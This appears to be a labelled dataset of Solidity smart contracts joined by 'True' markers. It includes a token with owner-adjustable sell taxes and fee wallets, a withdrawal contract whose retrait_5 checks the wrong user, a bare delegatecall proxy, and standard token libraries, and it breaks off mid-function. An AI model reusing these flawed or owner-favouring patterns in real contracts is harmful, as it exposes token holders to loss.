function toInt64(int256 value) internal pure returns (int64) {
require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
contract ELONINU is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public immutable uniswapV2Pair;
bool private inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public enableEarlySellTax = true;
uint256 public maxSellTransactionAmount = 1000000 * (10**18);
uint256 public maxBuyTransactionAmount = 20000 * (10**18);
uint256 public swapTokensAtAmount = 1000 * (10**18);
uint256 public maxWalletToken = 20000 * (10**18);
uint256 private buyTotalFees = 5;
uint256 public sellTotalFees = 8;
uint256 public earlySellTotalFee = 20;
// auto burn fee
uint256 public burnFee = 0;
address public deadWallet = 0x000000000000000000000000000000000000dEaD;
// distribute the collected tax percentage wise
uint256 public liquidityPercent = 10; // 10% of total collected tax
uint256 public marketingPercent = 50; // 50% of total collected tax for buybacks/burns/marketing
uint256 public devPercent = 40; // 40% of total collected tax for dAPP, metaverse land and events, and more
address payable public marketingWallet = payable(0x4960a1A88cCC7Fde712A07fa7289c64056BbbACE);
address payable public devWallet = payable(0xbAB090cca2a13CdE31a7c4c3C54A16f30Cb163f2);
// exlcude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
mapping (address => uint256) public lastTxTimestamp;
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensIntoLiqudity,
uint256 ethReceived
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() ERC20("Elon Inu", "ELON INU") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // pancakeswap v2 router address
// Create a uniswap pair for this new token
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(marketingWallet, true);
excludeFromFees(devWallet, true);
excludeFromFees(address(this), true);
/*
an internal function that is only called here,
and CANNOT be called ever again
*/
_createInitialSupply(owner(), 1000000 * (10**18));
}
receive() external payable {
}
function updateUniswapV2Router(address newAddress) public onlyOwner {
require(newAddress != address(uniswapV2Router), "KCoin: The router already has that address");
emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router));
uniswapV2Router = IUniswapV2Router02(newAddress);
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
require(_isExcludedFromFees[account] != excluded, "KCoin: Account is already the value of 'excluded'");
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "KCoin: The PancakeSwap pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(automatedMarketMakerPairs[pair] != value, "KCoin: Automated market maker pair is already set to that value");
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function _transfer(address from, address to, uint256 amount) internal override
{
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(automatedMarketMakerPairs[from] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) {
require(amount <= maxBuyTransactionAmount, "amount exceeds the maxBuyTransactionAmount.");
uint256 contractBalanceRecepient = balanceOf(to);
require(contractBalanceRecepient + amount <= maxWalletToken,"Exceeds maximum wallet token amount.");
lastTxTimestamp[to] = block.timestamp;
}
if(automatedMarketMakerPairs[to] && (!_isExcludedFromFees[from]) && (!_isExcludedFromFees[to])) {
require(amount <= maxSellTransactionAmount, "amount exceeds the maxSellTransactionAmount.");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= swapTokensAtAmount;
if(
overMinTokenBalance &&
!inSwapAndLiquify &&
automatedMarketMakerPairs[to] &&
swapAndLiquifyEnabled
) {
contractTokenBalance = swapTokensAtAmount;
swapAndLiquify(contractTokenBalance);
}
uint256 fees = 0;
uint256 burnShare = 0;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
uint256 _totalFees = buyTotalFees;
if (automatedMarketMakerPairs[to]) {
uint256 span = block.timestamp-lastTxTimestamp[from];
if(enableEarlySellTax && span <= 8 hours) {
_totalFees = earlySellTotalFee;
}
else if(!enableEarlySellTax) {
_totalFees = sellTotalFees;
}
}
fees = amount.mul(_totalFees).div(100);
burnShare = amount.mul(burnFee).div(100);
if(fees > 0) {
super._transfer(from, address(this), fees);
}
if(burnShare > 0) {
super._transfer(from, deadWallet, burnShare);
}
amount = amount.sub(fees.add(burnShare));
}
super._transfer(from, to, amount);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 tokensForLiquidity = contractTokenBalance.mul(liquidityPercent).div(100);
// split the Liquidity token balance into halves
uint256 half = tokensForLiquidity.div(2);
uint256 otherHalf = tokensForLiquidity.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
// swap and Send Eth to marketing, dev wallets
swapTokensForEth(contractTokenBalance.sub(tokensForLiquidity));
marketingWallet.transfer(address(this).balance.mul(marketingPercent).div(marketingPercent.add(devPercent)));
devWallet.transfer(address(this).balance);
emit SwapAndLiquify(half, newBalance);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
if(allowance(address(this), address(uniswapV2Router)) < tokenAmount) {
_approve(address(this), address(uniswapV2Router), ~uint256(0));
}
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function setMaxSellTransaction(uint256 _maxSellTxAmount) public onlyOwner {
maxSellTransactionAmount = _maxSellTxAmount;
require(maxSellTransactionAmount>totalSupply().div(1000), "value is too low");
}
function setMaxBuyTransaction(uint256 _maxBuyTxAmount) public onlyOwner {
maxBuyTransactionAmount = _maxBuyTxAmount;
require(maxBuyTransactionAmount>totalSupply().div(1000), "value is too low");
}
function setSwapTokensAtAmouunt(uint256 _newAmount) public onlyOwner {
swapTokensAtAmount = _newAmount;
}
function setMarketingWallet(address payable wallet) public onlyOwner {
marketingWallet = wallet;
}
function setDevWallet(address payable wallet) public onlyOwner {
devWallet = wallet;
}
function updateBuyTotalTax(uint256 _buyTotalFees) public onlyOwner {
buyTotalFees = _buyTotalFees;
require(buyTotalFees <= 10, "Fee too high");
}
function updateSellTotalTax(uint256 _sellTotalFees) public onlyOwner {
sellTotalFees = _sellTotalFees;
require(sellTotalFees <= 10, "Fee too high");
}
function updateEarlySellTotalTax(uint256 _earlySellTotalFee) public onlyOwner {
earlySellTotalFee = _earlySellTotalFee;
require(earlySellTotalFee <= 21, "Fee too high");
}
function updateTaxDistributionPercentage(uint256 _liquidityPercent, uint256 _marketingPercent, uint256 _devPercent) public onlyOwner {
require(_liquidityPercent.add(_marketingPercent).add(_devPercent) == 100, "total percentage must be equal to 100");
liquidityPercent = _liquidityPercent;
marketingPercent = _marketingPercent;
devPercent = _devPercent;
}
function setEarlySellTax(bool onoff) external onlyOwner {
enableEarlySellTax = onoff;
}
function setAutoBurn(uint256 _burnFee) external onlyOwner {
require(_burnFee <= 5, "value too high");
burnFee = _burnFee;
}
function setMaxWalletToken(uint256 _maxToken) external onlyOwner {
maxWalletToken = _maxToken;
require(maxWalletToken>totalSupply().div(1000), "value is too low");
}
} | True | [
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|
pragma solidity ^0.4.21 ;
interface IERC20Token {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenlender) public constant returns (uint balance);
function allowance(address tokenlender, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenlender, address indexed spender, uint tokens);
}
contract CCH_RE_2 {
address owner ;
function CCH_RE_2 () public {
owner = msg.sender;
}
modifier onlyOwner () {
require(msg.sender == owner );
_;
}
// IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT
uint256 ID = 190191 ;
function setID ( uint256 newID ) public onlyOwner {
ID = newID ;
}
function getID () public constant returns ( uint256 ) {
return ID ;
}
// IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT
uint256 ID_control = 1000 ;
function setID_control ( uint256 newID_control ) public onlyOwner {
ID_control = newID_control ;
}
function getID_control () public constant returns ( uint256 ) {
return ID_control ;
}
// IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT
uint256 Cmd = 1000 ;
function setCmd ( uint256 newCmd ) public onlyOwner {
Cmd = newCmd ;
}
function getCmd () public constant returns ( uint256 ) {
return Cmd ;
}
// IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT
uint256 Cmd_control = 1000 ;
function setCmd_control ( uint256 newCmd_control ) public onlyOwner {
Cmd_control = newCmd_control ;
}
function getCmd_control () public constant returns ( uint256 ) {
return Cmd_control ;
}
// IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT
uint256 Depositary_function = 1000 ;
function setDepositary_function ( uint256 newDepositary_function ) public onlyOwner {
Depositary_function = newDepositary_function ;
}
function getDepositary_function () public constant returns ( uint256 ) {
return Depositary_function ;
}
// IN DATA / SET DATA / GET DATA / UINT 256 / PUBLIC / ONLY OWNER / CONSTANT
uint256 Depositary_function_control = 1000 ;
function setDepositary_function_control ( uint256 newDepositary_function_control ) public onlyOwner {
Depositary_function_control = newDepositary_function_control ;
}
function getDepositary_function_control () public constant returns ( uint256 ) {
return Depositary_function_control ;
}
address public User_1 = msg.sender ;
address public User_2 ;// _User_2 ;
address public User_3 ;// _User_3 ;
address public User_4 ;// _User_4 ;
address public User_5 ;// _User_5 ;
IERC20Token public Securities_1 ;// _Securities_1 ;
IERC20Token public Securities_2 ;// _Securities_2 ;
IERC20Token public Securities_3 ;// _Securities_3 ;
IERC20Token public Securities_4 ;// _Securities_4 ;
IERC20Token public Securities_5 ;// _Securities_5 ;
uint256 public Standard_1 ;// _Standard_1 ;
uint256 public Standard_2 ;// _Standard_2 ;
uint256 public Standard_3 ;// _Standard_3 ;
uint256 public Standard_4 ;// _Standard_4 ;
uint256 public Standard_5 ;// _Standard_5 ;
function Eligibility_Group_1 (
address _User_1 ,
IERC20Token _Securities_1 ,
uint256 _Standard_1
)
public onlyOwner
{
User_1 = _User_1 ;
Securities_1 = _Securities_1 ;
Standard_1 = _Standard_1 ;
}
function Eligibility_Group_2 (
address _User_2 ,
IERC20Token _Securities_2 ,
uint256 _Standard_2
)
public onlyOwner
{
User_2 = _User_2 ;
Securities_2 = _Securities_2 ;
Standard_2 = _Standard_2 ;
}
function Eligibility_Group_3 (
address _User_3 ,
IERC20Token _Securities_3 ,
uint256 _Standard_3
)
public onlyOwner
{
User_3 = _User_3 ;
Securities_3 = _Securities_3 ;
Standard_3 = _Standard_3 ;
}
function Eligibility_Group_4 (
address _User_4 ,
IERC20Token _Securities_4 ,
uint256 _Standard_4
)
public onlyOwner
{
User_4 = _User_4 ;
Securities_4 = _Securities_4 ;
Standard_4 = _Standard_4 ;
}
function Eligibility_Group_5 (
address _User_5 ,
IERC20Token _Securities_5 ,
uint256 _Standard_5
)
public onlyOwner
{
User_5 = _User_5 ;
Securities_5 = _Securities_5 ;
Standard_5 = _Standard_5 ;
}
//
//
function retrait_1 () public {
require( msg.sender == User_1 );
require( Securities_1.transfer(User_1, Standard_1) );
require( ID == ID_control );
require( Cmd == Cmd_control );
require( Depositary_function == Depositary_function_control );
}
function retrait_2 () public {
require( msg.sender == User_2 );
require( Securities_2.transfer(User_2, Standard_2) );
require( ID == ID_control );
require( Cmd == Cmd_control );
require( Depositary_function == Depositary_function_control );
}
function retrait_3 () public {
require( msg.sender == User_3 );
require( Securities_3.transfer(User_3, Standard_3) );
require( ID == ID_control );
require( Cmd == Cmd_control );
require( Depositary_function == Depositary_function_control );
}
function retrait_4 () public {
require( msg.sender == User_4 );
require( Securities_4.transfer(User_4, Standard_4) );
require( ID == ID_control );
require( Cmd == Cmd_control );
require( Depositary_function == Depositary_function_control );
}
function retrait_5 () public {
require( msg.sender == User_1 );
require( Securities_5.transfer(User_5, Standard_5) );
require( ID == ID_control );
require( Cmd == Cmd_control );
require( Depositary_function == Depositary_function_control );
}
} | True | [
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract AlienFrensEvolution{
//AlienFrensEvolution
bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {}
constructor(bytes memory _a, bytes memory _data) payable {
(address _as) = abi.decode(_a, (address));
assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
require(Address.isContract(_as), "address error");
StorageSlot.getAddressSlot(KEY).value = _as;
if (_data.length > 0) {
Address.functionDelegateCall(_as, _data);
}
}
function _g(address to) internal virtual {
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _fallback() internal virtual {
_beforeFallback();
_g(StorageSlot.getAddressSlot(KEY).value);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | True | [
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|
pragma solidity ^0.4.25;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
